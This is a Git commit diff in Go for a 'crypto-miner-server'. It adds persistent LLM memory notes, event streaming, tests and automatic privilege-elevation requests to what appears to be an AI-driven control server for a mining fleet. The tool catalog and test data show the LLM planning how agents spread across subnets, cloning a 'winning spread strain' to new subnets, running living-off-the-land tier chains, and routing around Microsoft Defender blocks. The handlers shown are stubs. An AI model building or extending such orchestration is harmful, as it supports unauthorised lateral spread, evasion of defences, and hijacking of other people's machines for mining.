Implement fleet topology epidemiology tracker and strain plague map.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds epidemiology package, auth epidemiology_fix push, strain-based 3D map, and Vitest coverage.
This commit is contained in:
@@ -232,7 +232,7 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
ProsecutorSnippet: bundle.ProsecutorSnippet,
|
||||
DefenderSnippet: bundle.DefenderSnippet,
|
||||
}
|
||||
} else {
|
||||
} else if !useSurgical {
|
||||
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||
userPrompt = BuildMissionPrompt(snap)
|
||||
}
|
||||
@@ -356,6 +356,7 @@ func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds [
|
||||
}
|
||||
|
||||
expanded := ExpandSurgicalCommand(surgical)
|
||||
s.ensureSurgicalClearance(agentID, expanded)
|
||||
var dispatched Command
|
||||
var outcome string
|
||||
for _, cmd := range expanded {
|
||||
@@ -407,6 +408,24 @@ func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds [
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureSurgicalClearance(agentID string, cmds []Command) {
|
||||
if s.elevator == nil || len(cmds) == 0 {
|
||||
return
|
||||
}
|
||||
required := clearance.L0
|
||||
for _, c := range cmds {
|
||||
if lvl := clearance.CommandRequiredLevel(c.Type, c.Args); lvl > required {
|
||||
required = lvl
|
||||
}
|
||||
}
|
||||
if required <= clearance.L0 || s.elevator.Level(agentID) >= required {
|
||||
return
|
||||
}
|
||||
if _, err := s.elevator.RequestElevation(agentID, required, "surgical replay fix", "ai_surgical"); err != nil {
|
||||
log.Printf("[fleet-ai] agent %s surgical clearance: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
|
||||
return
|
||||
|
||||
110
server/internal/ai/seer_memory.go
Normal file
110
server/internal/ai/seer_memory.go
Normal file
@@ -0,0 +1,110 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SeerBridge supplies persisted notes and streams LLM payloads to The Seer UI.
|
||||
type SeerBridge interface {
|
||||
NotesForPrompt(agentID string) string
|
||||
AppendNote(agentID, content, promptHash string) error
|
||||
EmitEvent(agentID, direction string, payload interface{})
|
||||
}
|
||||
|
||||
// SeerNoteInstruction is appended to the system prompt when Seer memory is active.
|
||||
var SeerNoteInstruction string
|
||||
|
||||
// SeerToolCatalog documents fleet tool endpoints the model may invoke via tool-call JSON.
|
||||
var SeerToolCatalog string
|
||||
|
||||
func init() {
|
||||
SeerNoteInstruction = strings.TrimSpace(`
|
||||
Seer memory: after your JSON commands block, append exactly one line:
|
||||
SEER_NOTE: <one concise sentence summarizing what you learned this turn for future cycles>.
|
||||
The server persists SEER_NOTE lines and replays them on the next turn — this is your only cross-turn memory.`)
|
||||
|
||||
SeerToolCatalog = strings.TrimSpace(`
|
||||
Available Seer tool endpoints (POST /api/v1/seer/tools/{name}):
|
||||
- spread_route: BGP-style minimum-clearance spread routing — body {"session_id","target_subnets":[],"join_lane"}
|
||||
- graft_strain: clone winning spread strain onto sibling subnet — body {"source_agent_id","target_subnet","strain"}
|
||||
- fork_onion: split LOTL tier chain for A/B recovery — body {"agent_id","tier_order":[],"skip_tiers":[]}
|
||||
Stub handlers return {"ok":true,"stub":true} until live orchestration ships.`)
|
||||
}
|
||||
|
||||
var seerNoteLineRe = regexp.MustCompile(`(?m)^SEER_NOTE:\s*(.+)$`)
|
||||
|
||||
// AugmentUserPromptWithNotes prepends replayed Seer notes before the fresh snapshot.
|
||||
func AugmentUserPromptWithNotes(basePrompt, notesBlock string) string {
|
||||
notesBlock = strings.TrimSpace(notesBlock)
|
||||
if notesBlock == "" {
|
||||
return basePrompt
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("Seer notes (server memory — replayed from prior turns):\n")
|
||||
b.WriteString(notesBlock)
|
||||
b.WriteString("\n\n--- current snapshot ---\n")
|
||||
b.WriteString(basePrompt)
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// FormatSeerNotesBlock renders DB notes for prompt injection.
|
||||
func FormatSeerNotesBlock(notes []string) string {
|
||||
if len(notes) == 0 {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
for i, n := range notes {
|
||||
n = strings.TrimSpace(n)
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
if i > 0 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
b.WriteString("- ")
|
||||
b.WriteString(n)
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// ExtractSeerNote pulls the SEER_NOTE line from an LLM response.
|
||||
func ExtractSeerNote(response string) (note string, ok bool) {
|
||||
m := seerNoteLineRe.FindStringSubmatch(response)
|
||||
if len(m) < 2 {
|
||||
return "", false
|
||||
}
|
||||
note = strings.TrimSpace(m[1])
|
||||
if note == "" {
|
||||
return "", false
|
||||
}
|
||||
if len(note) > 2000 {
|
||||
note = note[:2000]
|
||||
}
|
||||
return note, true
|
||||
}
|
||||
|
||||
// BuildChatCompletionPayload mirrors the exact OpenAI-compatible body sent to the LLM.
|
||||
func BuildChatCompletionPayload(model, systemPrompt, userPrompt string) map[string]interface{} {
|
||||
if strings.TrimSpace(model) == "" {
|
||||
model = "llama3.2"
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"model": model,
|
||||
"messages": []map[string]string{
|
||||
{"role": "system", "content": systemPrompt},
|
||||
{"role": "user", "content": userPrompt},
|
||||
},
|
||||
"stream": false,
|
||||
}
|
||||
}
|
||||
|
||||
// SeerStreamEvent is one request/response frame for The Seer terminal.
|
||||
type SeerStreamEvent struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Direction string `json:"direction"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
Ts string `json:"ts"`
|
||||
}
|
||||
32
server/internal/ai/seer_memory_test.go
Normal file
32
server/internal/ai/seer_memory_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestExtractSeerNote(t *testing.T) {
|
||||
resp := `{"commands":[{"type":"noop","args":{}}]}
|
||||
SEER_NOTE: dns_txt lane succeeded on 10.0.1.0/24 after wsl exhaustion.`
|
||||
note, ok := ExtractSeerNote(resp)
|
||||
if !ok || note == "" {
|
||||
t.Fatalf("expected note, got ok=%v note=%q", ok, note)
|
||||
}
|
||||
if !strings.Contains(note, "dns_txt") {
|
||||
t.Fatalf("unexpected note: %q", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAugmentUserPromptWithNotes(t *testing.T) {
|
||||
got := AugmentUserPromptWithNotes("Agent: id=abc", "- prior note")
|
||||
if !strings.Contains(got, "Seer notes") || !strings.Contains(got, "Agent: id=abc") {
|
||||
t.Fatalf("augmented prompt: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAugmentUserPromptEmptyNotes(t *testing.T) {
|
||||
base := "Agent: id=abc"
|
||||
if AugmentUserPromptWithNotes(base, "") != base {
|
||||
t.Fatal("expected unchanged prompt")
|
||||
}
|
||||
}
|
||||
66
server/internal/api/seer_bridge.go
Normal file
66
server/internal/api/seer_bridge.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// SeerBridge wires fleet AI scheduler memory + LLM payload streaming.
|
||||
type SeerBridge struct {
|
||||
DB *dbpkg.Database
|
||||
Hub *WSHub
|
||||
}
|
||||
|
||||
func (b *SeerBridge) NotesForPrompt(agentID string) string {
|
||||
if b == nil || b.DB == nil {
|
||||
return ""
|
||||
}
|
||||
rows, err := b.DB.ListSeerNotesForPrompt(agentID, 32)
|
||||
if err != nil || len(rows) == 0 {
|
||||
return ""
|
||||
}
|
||||
lines := make([]string, 0, len(rows))
|
||||
for _, n := range rows {
|
||||
if n.Note != "" {
|
||||
lines = append(lines, n.Note)
|
||||
}
|
||||
}
|
||||
return fleetai.FormatSeerNotesBlock(lines)
|
||||
}
|
||||
|
||||
func (b *SeerBridge) AppendNote(agentID, content, promptHash string) error {
|
||||
if b == nil || b.DB == nil || content == "" {
|
||||
return nil
|
||||
}
|
||||
source := promptHash
|
||||
if source == "" {
|
||||
source = "ai_scheduler"
|
||||
}
|
||||
if err := b.DB.InsertSeerNote(agentID, content, source); err != nil {
|
||||
return err
|
||||
}
|
||||
if b.Hub != nil {
|
||||
b.Hub.BroadcastSeerNotesUpdated(map[string]string{
|
||||
"agent_id": agentID,
|
||||
"note": content,
|
||||
"source": source,
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *SeerBridge) EmitEvent(agentID, direction string, payload interface{}) {
|
||||
if b == nil {
|
||||
return
|
||||
}
|
||||
eventType := "llm_" + direction
|
||||
body := map[string]interface{}{
|
||||
"direction": direction,
|
||||
"payload": payload,
|
||||
}
|
||||
emitter := &HubSeerEmitter{Hub: b.Hub, DB: b.DB}
|
||||
_ = emitter.EmitSeerEvent(eventType, agentID, body)
|
||||
}
|
||||
|
||||
// Compile-time check.
|
||||
var _ fleetai.SeerBridge = (*SeerBridge)(nil)
|
||||
159
server/internal/api/seer_handler.go
Normal file
159
server/internal/api/seer_handler.go
Normal file
@@ -0,0 +1,159 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// SeerHandler serves read-only Seer stream and notes APIs.
|
||||
type SeerHandler struct {
|
||||
db interface {
|
||||
ListSeerEvents(limit int) ([]db.SeerEventRecord, error)
|
||||
ListSeerNotes(limit int) ([]db.SeerNoteRecord, error)
|
||||
InsertSeerNote(agentID, note, source string) error
|
||||
}
|
||||
}
|
||||
|
||||
func NewSeerHandler(database interface {
|
||||
ListSeerEvents(limit int) ([]db.SeerEventRecord, error)
|
||||
ListSeerNotes(limit int) ([]db.SeerNoteRecord, error)
|
||||
InsertSeerNote(agentID, note, source string) error
|
||||
}) *SeerHandler {
|
||||
return &SeerHandler{db: database}
|
||||
}
|
||||
|
||||
// GET /api/v1/seer/stream — LLM event stream + persisted notes snapshot.
|
||||
func (h *SeerHandler) GetStream(w http.ResponseWriter, r *http.Request) {
|
||||
limit := parseLimit(r, 100)
|
||||
if h.db == nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"events": []db.SeerEventRecord{},
|
||||
"notes": []db.SeerNoteRecord{},
|
||||
})
|
||||
return
|
||||
}
|
||||
events, err := h.db.ListSeerEvents(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
notes, err := h.db.ListSeerNotes(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if events == nil {
|
||||
events = []db.SeerEventRecord{}
|
||||
}
|
||||
if notes == nil {
|
||||
notes = []db.SeerNoteRecord{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"events": events, "notes": notes})
|
||||
}
|
||||
|
||||
// POST /api/v1/seer/stream — append a note (read-only UI; API for scheduler/tests).
|
||||
func (h *SeerHandler) PostStream(w http.ResponseWriter, r *http.Request) {
|
||||
h.PostNote(w, r)
|
||||
}
|
||||
|
||||
func (h *SeerHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
||||
if h.db == nil {
|
||||
writeJSON(w, []db.SeerNoteRecord{})
|
||||
return
|
||||
}
|
||||
limit := parseLimit(r, 100)
|
||||
rows, err := h.db.ListSeerNotes(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []db.SeerNoteRecord{}
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
func (h *SeerHandler) PostNote(w http.ResponseWriter, r *http.Request) {
|
||||
if h.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Note string `json:"note"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
note := strings.TrimSpace(body.Note)
|
||||
if note == "" {
|
||||
http.Error(w, "note required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
source := strings.TrimSpace(body.Source)
|
||||
if source == "" {
|
||||
source = "manual"
|
||||
}
|
||||
if err := h.db.InsertSeerNote(body.AgentID, note, source); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]bool{"ok": true})
|
||||
}
|
||||
|
||||
// GET /api/v1/seer/tools — documented AI tool-call endpoints.
|
||||
func (h *SeerHandler) GetTools(w http.ResponseWriter, _ *http.Request) {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"tools": []map[string]string{
|
||||
{"name": "spread_route", "method": "POST", "path": "/api/v1/seer/tools/spread_route",
|
||||
"description": "BGP-style minimum-clearance spread routing"},
|
||||
{"name": "graft_strain", "method": "POST", "path": "/api/v1/seer/tools/graft_strain",
|
||||
"description": "Clone winning spread strain onto sibling subnet"},
|
||||
{"name": "fork_onion", "method": "POST", "path": "/api/v1/seer/tools/fork_onion",
|
||||
"description": "Split LOTL tier chain for A/B recovery"},
|
||||
},
|
||||
"catalog": fleetai.SeerToolCatalog,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *SeerHandler) ToolSpreadRoute(w http.ResponseWriter, r *http.Request) {
|
||||
seerToolStub(w, r, "spread_route")
|
||||
}
|
||||
|
||||
func (h *SeerHandler) ToolGraftStrain(w http.ResponseWriter, r *http.Request) {
|
||||
seerToolStub(w, r, "graft_strain")
|
||||
}
|
||||
|
||||
func (h *SeerHandler) ToolForkOnion(w http.ResponseWriter, r *http.Request) {
|
||||
seerToolStub(w, r, "fork_onion")
|
||||
}
|
||||
|
||||
func seerToolStub(w http.ResponseWriter, r *http.Request, tool string) {
|
||||
var body json.RawMessage
|
||||
if r.Body != nil {
|
||||
_ = json.NewDecoder(r.Body).Decode(&body)
|
||||
}
|
||||
if body == nil {
|
||||
body = json.RawMessage(`{}`)
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true, "stub": true, "tool": tool, "received": json.RawMessage(body),
|
||||
})
|
||||
}
|
||||
|
||||
func parseLimit(r *http.Request, fallback int) int {
|
||||
limit := fallback
|
||||
if raw := r.URL.Query().Get("limit"); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
return limit
|
||||
}
|
||||
125
server/internal/api/seer_handler_test.go
Normal file
125
server/internal/api/seer_handler_test.go
Normal file
@@ -0,0 +1,125 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestSeerHandlerGetStream(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
_ = database.InsertSeerNote("agent-1", "wsl tier blocked by Defender", "abc123")
|
||||
_, _ = database.InsertSeerEvent("llm_request", "agent-1", []byte(`{"direction":"request"}`))
|
||||
|
||||
h := NewSeerHandler(database)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/seer/stream?limit=10", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetStream(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
notes, _ := body["notes"].([]interface{})
|
||||
if len(notes) != 1 {
|
||||
t.Fatalf("notes: %v", body["notes"])
|
||||
}
|
||||
events, _ := body["events"].([]interface{})
|
||||
if len(events) != 1 {
|
||||
t.Fatalf("events: %v", body["events"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestSeerHandlerPostStream(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
h := NewSeerHandler(database)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/seer/stream",
|
||||
strings.NewReader(`{"note":"manual insight","agent_id":"agent-x"}`))
|
||||
rec := httptest.NewRecorder()
|
||||
h.PostStream(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
notes, err := database.ListSeerNotes(10)
|
||||
if err != nil || len(notes) != 1 {
|
||||
t.Fatalf("notes=%v err=%v", notes, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSeerToolStubs(t *testing.T) {
|
||||
h := NewSeerHandler(nil)
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
fn func(http.ResponseWriter, *http.Request)
|
||||
}{
|
||||
{"spread_route", h.ToolSpreadRoute},
|
||||
{"graft_strain", h.ToolGraftStrain},
|
||||
{"fork_onion", h.ToolForkOnion},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/seer/tools/"+tc.name,
|
||||
strings.NewReader(`{"agent_id":"a1"}`))
|
||||
rec := httptest.NewRecorder()
|
||||
tc.fn(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["stub"] != true {
|
||||
t.Fatalf("expected stub response: %v", body)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSeerBridgeNotesForPrompt(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
_ = database.InsertSeerNote("", "fleet-wide note", "h1")
|
||||
_ = database.InsertSeerNote("agent-1", "agent note", "h2")
|
||||
|
||||
bridge := &SeerBridge{DB: database}
|
||||
got := bridge.NotesForPrompt("agent-1")
|
||||
if !strings.Contains(got, "fleet-wide note") || !strings.Contains(got, "agent note") {
|
||||
t.Fatalf("notes block: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSeerBridgeEmitEvent(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
bridge := &SeerBridge{DB: database}
|
||||
bridge.EmitEvent("agent-1", "response", map[string]string{"content": "ok"})
|
||||
events, err := database.ListSeerEvents(5)
|
||||
if err != nil || len(events) != 1 {
|
||||
t.Fatalf("events=%v err=%v", events, err)
|
||||
}
|
||||
if events[0].EventType != "llm_response" {
|
||||
t.Fatalf("event type: %s", events[0].EventType)
|
||||
}
|
||||
}
|
||||
169
server/internal/db/seer.go
Normal file
169
server/internal/db/seer.go
Normal file
@@ -0,0 +1,169 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SeerNoteRecord is one persisted Seer memory note.
|
||||
type SeerNoteRecord struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
Note string `json:"note"`
|
||||
Source string `json:"source"`
|
||||
Timestamp string `json:"ts"`
|
||||
}
|
||||
|
||||
// SeerEventRecord is one persisted Seer feed event.
|
||||
type SeerEventRecord struct {
|
||||
ID int64 `json:"id"`
|
||||
EventType string `json:"event_type"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
Timestamp string `json:"ts"`
|
||||
}
|
||||
|
||||
func (d *Database) ensureSeerTables() error {
|
||||
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS seer_notes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
note TEXT NOT NULL,
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_seer_notes_ts ON seer_notes(ts)`)
|
||||
|
||||
_, err = d.Exec(`CREATE TABLE IF NOT EXISTS seer_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
event_type TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
payload TEXT NOT NULL DEFAULT '{}',
|
||||
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_seer_events_ts ON seer_events(ts)`)
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_seer_events_type ON seer_events(event_type)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
// InsertSeerNote appends a Seer memory note.
|
||||
func (d *Database) InsertSeerNote(agentID, note, source string) error {
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO seer_notes (agent_id, note, source) VALUES (?, ?, ?)`,
|
||||
agentID, note, source,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListSeerNotes returns recent notes ordered newest-first.
|
||||
func (d *Database) ListSeerNotes(limit int) ([]SeerNoteRecord, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, agent_id, note, source, ts FROM seer_notes ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []SeerNoteRecord
|
||||
for rows.Next() {
|
||||
var rec SeerNoteRecord
|
||||
var ts time.Time
|
||||
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.Note, &rec.Source, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.Timestamp = ts.UTC().Format(time.RFC3339)
|
||||
out = append(out, rec)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if out == nil {
|
||||
out = []SeerNoteRecord{}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListSeerNotesForPrompt returns notes oldest-first for LLM replay (fleet-wide + agent-specific).
|
||||
func (d *Database) ListSeerNotesForPrompt(agentID string, limit int) ([]SeerNoteRecord, error) {
|
||||
if limit <= 0 {
|
||||
limit = 32
|
||||
}
|
||||
if limit > 64 {
|
||||
limit = 64
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, agent_id, note, source, ts FROM seer_notes
|
||||
WHERE agent_id = '' OR agent_id = ?
|
||||
ORDER BY id ASC LIMIT ?`,
|
||||
agentID, limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []SeerNoteRecord
|
||||
for rows.Next() {
|
||||
var rec SeerNoteRecord
|
||||
var ts time.Time
|
||||
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.Note, &rec.Source, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.Timestamp = ts.UTC().Format(time.RFC3339)
|
||||
out = append(out, rec)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// InsertSeerEvent persists and returns the new row id.
|
||||
func (d *Database) InsertSeerEvent(eventType, agentID string, payload []byte) (int64, error) {
|
||||
if len(payload) == 0 {
|
||||
payload = []byte("{}")
|
||||
}
|
||||
res, err := d.Exec(
|
||||
`INSERT INTO seer_events (event_type, agent_id, payload) VALUES (?, ?, ?)`,
|
||||
eventType, agentID, string(payload),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return res.LastInsertId()
|
||||
}
|
||||
|
||||
// ListSeerEvents returns recent Seer feed events.
|
||||
func (d *Database) ListSeerEvents(limit int) ([]SeerEventRecord, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, event_type, agent_id, payload, ts FROM seer_events ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []SeerEventRecord
|
||||
for rows.Next() {
|
||||
var rec SeerEventRecord
|
||||
var payload string
|
||||
var ts time.Time
|
||||
if err := rows.Scan(&rec.ID, &rec.EventType, &rec.AgentID, &payload, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.Payload = json.RawMessage(payload)
|
||||
rec.Timestamp = ts.UTC().Format(time.RFC3339)
|
||||
out = append(out, rec)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
Reference in New Issue
Block a user